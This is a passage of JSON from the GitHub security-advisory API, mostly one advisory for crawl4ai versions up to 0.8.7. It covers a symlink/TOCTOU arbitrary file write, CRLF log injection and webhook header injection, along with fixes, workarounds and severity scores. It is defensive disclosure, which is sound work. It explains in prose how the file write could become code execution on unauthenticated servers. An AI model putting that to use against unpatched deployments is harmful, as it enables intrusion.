:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N","score":8.6}},{"ghsa_id":"GHSA-7cx2-g3h9-382p","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-7cx2-g3h9-382p","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-7cx2-g3h9-382p","summary":"Arbitrary file write (symlink\/TOCTOU) plus log and webhook-header injection in Docker server","description":"### Summary\n\nThree backward-compatible hardening fixes in the Docker API server. The headline issue is an arbitrary file write via the screenshot\/PDF `output_path`.\n\n### 1. Arbitrary file write via output_path symlink \/ TOCTOU (primary)\n\n`POST \/screenshot` and `POST \/pdf` accept an `output_path` constrained to `ALLOWED_OUTPUT_DIR` by `validate_output_path`. The 0.8.7 check was string-only: it did not resolve symlinks, so a symlinked path component inside the output directory could redirect the write outside the directory, and the final `open()` followed symlinks. On a deployment where the runtime user can write executable\/cron locations this is an arbitrary-write to code-execution primitive. The API is unauthenticated by default.\n\nFix: `validate_output_path` now resolves the real path (symlinks) of the parent and re-checks containment, and the write uses `O_NOFOLLOW` (`write_output_file`). `output_path` remains supported.\n\n### 2. CRLF log injection (CWE-117)\n\nUser-controlled URLs\/errors reflected into log lines could embed CR\/LF and forge additional log entries. Fix: a logging filter strips CR\/LF\/control characters from all records.\n\n### 3. Webhook request-header injection (CWE-93\/CWE-113)\n\nUser-supplied webhook headers were sent verbatim, allowing CRLF and hop-by-hop \/ sensitive header injection on the outbound webhook request. Fix: webhook headers are validated (name pattern, no control characters, deny `Host`\/`Content-Length`\/`Transfer-Encoding`\/`Authorization`\/`Cookie`\/...), with early request-time rejection.\n\n### Impact\n\nArbitrary file write (potential code execution) for #1; log forging for #2; request smuggling \/ header injection on outbound webhooks for #3.\n\n### Workarounds\n\n- Upgrade to the patched version.\n- Enable authentication (`CRAWL4AI_API_TOKEN`).\n- Run the container with a read-only root filesystem.\n\n### Credits\n\nInternal security audit (Crawl4AI maintainers).","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-7cx2-g3h9-382p","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-06-04T02:22:43Z","published_at":"2026-06-04T02:22:43Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.8.7","patched_versions":"0.8.8","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H","score":8.1},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-22","name":"Improper Limitation of a Pathname to a Restricted Directory"},{"cwe_id":"CWE-59","name":"Improper Link Resolution Before File Access"},{"cwe_id":"CWE-93","name":"Improper Neutralization of CRLF Sequences"},{"cwe_id":"CWE-117","name":"Improper Output Neutralization for Logs"}],"cwe_ids":["CWE-22","CWE-59","CWE-93","CWE-117"],"credits":[],"credits_detailed":[],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H","score":8.1}}]